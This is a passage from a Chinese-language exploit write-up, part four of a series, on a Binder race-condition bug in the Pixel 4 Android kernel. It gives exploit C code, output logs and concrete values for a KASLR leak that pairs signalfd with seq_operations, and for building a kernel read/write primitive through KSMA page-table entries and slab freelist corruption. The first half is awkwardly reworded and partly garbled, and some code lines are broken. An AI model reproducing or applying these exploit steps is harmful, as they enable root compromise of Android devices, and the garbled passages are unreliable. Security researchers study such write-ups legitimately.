详细分析Binder中的单指令竞态标准系统漏洞(四)
在文中中,大家将为阅读者深层次详细介绍Binder中的单指令竞态标准系统漏洞以及利用方式。
(接好文)
在这节中,大家将利用2个重合的signalfd来完成KASLR泄露,这对大家的随意核心运行内存读/写原语十分有效。
如今大家必须寻找那样的目标:产生重合时,能够给大家出示一个函数指针。因此,大家很有可能会想起signalfd,因为它具备下列作用:
我们可以在为其分派的详细地址处载入一个长短为8字节的值
我们可以在为其分派的详细地址处载入基本上随意的8字节值(用signalfd载入值时,位8和18一直置1)
它不容易造成 崩溃
这促使它可以非常容易地与另一个在其前8字节中具备函数指针的目标开展匹配。在其中,一个关键的备选目标是seq_operations。
struct seq_operations{
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
事实上,seq_operations的存储空间是在启用single_open涵数期内分派的,而single_open涵数则是在浏览/proc系统文件的一些文档时开展启用的。针对这儿的exploit而言,大家将应用/proc/self/stat。
这一文档是在proc_stat_init中建立的,开启这一文档时,将调用函数stat_open。
static int __init proc_stat_init(void)
{
proc_create("stat", 0, NULL, &proc_stat_operations);
return 0;
}
fs_initcall(proc_stat_init);
static const struct file_operations proc_stat_operations={
.open =stat_open,
.read =seq_read,
.llseek =seq_lseek,
.release =single_release,
};
static int stat_open(struct inode *inode, struct file *file)
{
unsigned int size=1024 128 * num_online_cpus();
size =2 * nr_irqs;
return single_open_size(file, show_stat, NULL, size);
}
在stat_open涵数中,我们可以可能启用single_open_size涵数,它接着将启用SINGLE_OPEN。
int single_open_size(struct file *file, int (*show)(struct seq_file *, void *),
void *data, size_t size)
{
char *buf=seq_buf_alloc(size);
int ret;
if (!buf)
return -ENOMEM;
ret=single_open(file, show, data);
if (ret){
kvfree(buf);
return ret;
}
((struct seq_file *)file->private_data)->buf=buf;
((struct seq_file *)file->private_data)->size=size;
return 0;
}
single_open将在kmalloc-128缓存文件中开展2次内存分配。第一次是为大家很感兴趣的seq_operations分配内存,第二次是为seq_open中的seq_file分配内存。
在旧版的核心中,这一seq_file目标才会在kmalloc-128缓存文件中分派室内空间;在当今版本号中,该目标将应用自身的专用型缓存文件分派室内空间。假如系统漏洞进攻产生在加上seq_file缓存文件以前的内核版本上,那麼在我们具体必须seq_operations时,就会有很有可能得到重合目标的seq_file的分派室内空间。在操作过程中,大家只必须根据简易的研讨式方式,持续再试并对結果开展过虑,直至获得大家要想的详细地址截止。这一点将在这节后边进一步详细描述。
int single_open(struct file *file, int (*show)(struct seq_file *, void *),
void *data)
{
struct seq_operations *op=kmalloc(sizeof(*op), GFP_KERNEL_ACCOUNT);
int res=-ENOMEM;
if (op){
op->start=single_start;
op->next=single_next;
op->stop=single_stop;
op->show=show;
res=seq_open(file, op);
if (!res)
((struct seq_file *)file->private_data)->private=data;
else
kfree(op);
}
return res;
}
在single_open中,op->start将被设定为single_start。因为signalfd容许大家载入重合的目标的前八个字节数,因而,single_start便是我们要载入的涵数的详细地址,用于完成KASLR泄露。
如前所述,大家也有很有可能得到seq_file的分派室内空间(乃至是由系统软件分派的室内空间)。在这类状况下,我们可以再试分派的seq_operations,直至大家检验到它起功效截止。在这类状况下,一种简易的研讨式方式是将single_start涵数核心偏移减掉signalfd载入的值,并查验16个最少合理位是不是为零:
(kaslr_leak - single_start_offset) & 0xffff==0
另一次分派的存储空间中的值,其前八个字节数中的值不大可能达到这一标准。
留意:我们可以从/proc/kallsyms中查找Android机器设备上single_start涵数的偏移。
flame:/ # sysctl -w kernel.kptr_restrict=0
kernel.kptr_restrict=0
flame:/ # grep -i -e " single_start$" -e " _head$" /proc/kallsyms
ffffff886c080000 t _head
ffffff886dbcfd38 t single_start
根据在类似下边的涵数中完成上边常说的逻辑性,大家最后能够完成需要的KASLR泄露并进到下一步。
int proc_self=open("/proc/self", O_RDONLY);
if (corrupt_fd)
close(corrupt_fd);
uint64_t=get_sigfd_sigmask(overlapping_fd);
debug_printf("Value @X after freeing `corrupt_fd`: 0x%lx", mask);
retry:
for (int i=0; i < NB_SEQ; i ){
seq_fd[i]=openat(proc_self, "stat", O_RDONLY);
if (seq_fd[i]< 0)
debug_printf("Could not allocate seq ops (%d - %s)", i, strerror(errno));
}
mask=get_sigfd_sigmask(overlapping_fd);
debug_printf("Value @X after spraying seq ops: 0x%lx", mask);
kaslr_leak=mask - SINGLE_START;
if ((kaslr_leak & 0xffff) !=0){
debug_print("Could not leak KASLR slide");
for (int i=0; i < NB_SEQ; i ){
close(seq_fd[i]);
}
goto retry;
}
debug_printf("KASLR slide: %lx", kaslr_leak);
結果以下所显示:
[6957]exploit.c:371:trigger_thread_func(): Value @X after freeing `corrupt_fd`: 0x0
[6957]exploit.c:386:trigger_thread_func(): Value @X after spraying seq ops: 0x0
[6957] exploit.c:394:trigger_thread_func(): Could not leak KASLR slide
[6957] exploit.c:386:trigger_thread_func(): Value @X after spraying seq ops: 0x0
[6957] exploit.c:394:trigger_thread_func(): Could not leak KASLR slide
[6957] exploit.c:386:trigger_thread_func(): Value @X after spraying seq ops: 0x0
[6957] exploit.c:394:trigger_thread_func(): Could not leak KASLR slide
[6957] exploit.c:386:trigger_thread_func(): Value @X after spraying seq ops: 0xffffff9995bcfd38
[6957] exploit.c:405:trigger_thread_func(): KASLR slide: ffffff9994080000
漏洞利用的下一步,是使用KSMA实现任意读取/写入原语。该技术的要旨是在内核页面全局目录中添加一个条目,以将内核代码镜像到另一个位置,并设置特定的标志,以使其可以从用户态进行访问。
该方法本身已在Thomas King的BlackHat Asia 2018演示文稿中进行了相应的描述,如果读者还不熟悉该方法的话,则请读者先阅读这份资料。
我们要向其中添加1Gb的内存块的内核页面全局目录(PGD)是通过符号swapper_pg_dir进行引用的:
flame:/ # grep -i -e " swapper_pg_dir" /proc/kallsyms
ffffff886f2***00 B swapper_pg_dir
The PGD can hold 0x200 entries and the the 1Gb blocks referenced start at address 0xffffff8000000000 (e.g. entry #0 spans from 0xffffff8000000000 to 0xffffff803fffffff). Since we don't want to overwrite an existing entry, we arbitrarily picked index 0x1e0, which corresponds to the address:
0xffffff8000000000 + 0x1e0 * 0x40000000=0xfffffff800000000
如果一切按预期进行,我们将能够使用这个基址从用户空间读写内核。
现在我们知道了目标虚拟地址,下面让我们计算出设备上内核的物理地址。它可以在/proc/iomem中通过搜索“kernel code”找到。如下所示,在我们的Pixel 4设备上,内核物理地址从0x80080000开始。注意,我们将映射到0x80000000,以符合块描述符以GB为单位的对齐标准。
flame:/ # grep "Kernel code" /proc/iomem
80080000-823affff : Kernel code
下一步是创建一个块描述符来桥接内核的物理地址和可从用户空间访问的1GB虚拟内存区间。我们使用的方法是转储其中一个swapper_pg_dir条目,更改物理地址并设置(U) XN/PXN。我们得到了以下值:
0x00e8000000000751 | 0x80000000=0x00e8000080000751
我们已经在索引0x1E0处建立了要写入swapper_pg_dir的值,在接下来的部分中,我们将介绍如何使用slab的freelist指针将该描述符写入表中。
Freelist指针是指向slab中下一个空闲对象的指针。当从slab缓存中释放对象时,分配器将首先在被释放对象的开头处写入当前freelist指针。之后,它将更新freelist指针以指向新释放的内存区域。
如果请求分配内存,则会发生相反的过程。分配器将在freelist指针指向的地址处进行内存空间的分配,然后在分配的内存区域的前8个字节中读取新的freelist指针。
但是,如果我们能够篡改写在slab中的freelist指针,那么我们就可以在任意地址分配一个对象。
了解这一点后,我们对应的策略为:
使signalfd与释放的对象相互重叠
修改freelist指针以指向swapper_pg_dir条目
使用我们的块描述符0x00e8000080000751分配signalfd
当然,事情并不像看起来那样容易,因为在写入值时signalfd设置了第8和18位。不过,这不会影响块描述符,因为对齐1Gb的内存块时,第8位已经设置并且第18位将被丢弃。但是,根据其值,可能无法用signalfd写入swapper_pg_dir的地址。就本例来说,在Pixel 4的出厂映像QQ3A.200805.001上,swapper_pg_dir的地址将始终以***00结尾。如果我们要用signalfd来写这个地址,因此与PGD中选择的索引无关,那么我们总是以一个以b5xxx|40100=f5xxx的地址结尾,所以实际上会丢失0x40000字节。虽然并非所有内核都是这样(例如某些版本的Android可能具有以f5000结尾的swapper_pg_dir偏移量),但在Pixel 4设备上是不通用的。
为了克服这个问题,我们将分两个阶段完成内存分配,具体如下一节所述。
在本系列文章中,我们将为读者深入介绍Binder中的单指令竞态条件漏洞及其利用方法。由于篇幅过长,我们将分多篇文章发表,更多精彩内容,敬请期待!
(未完待续)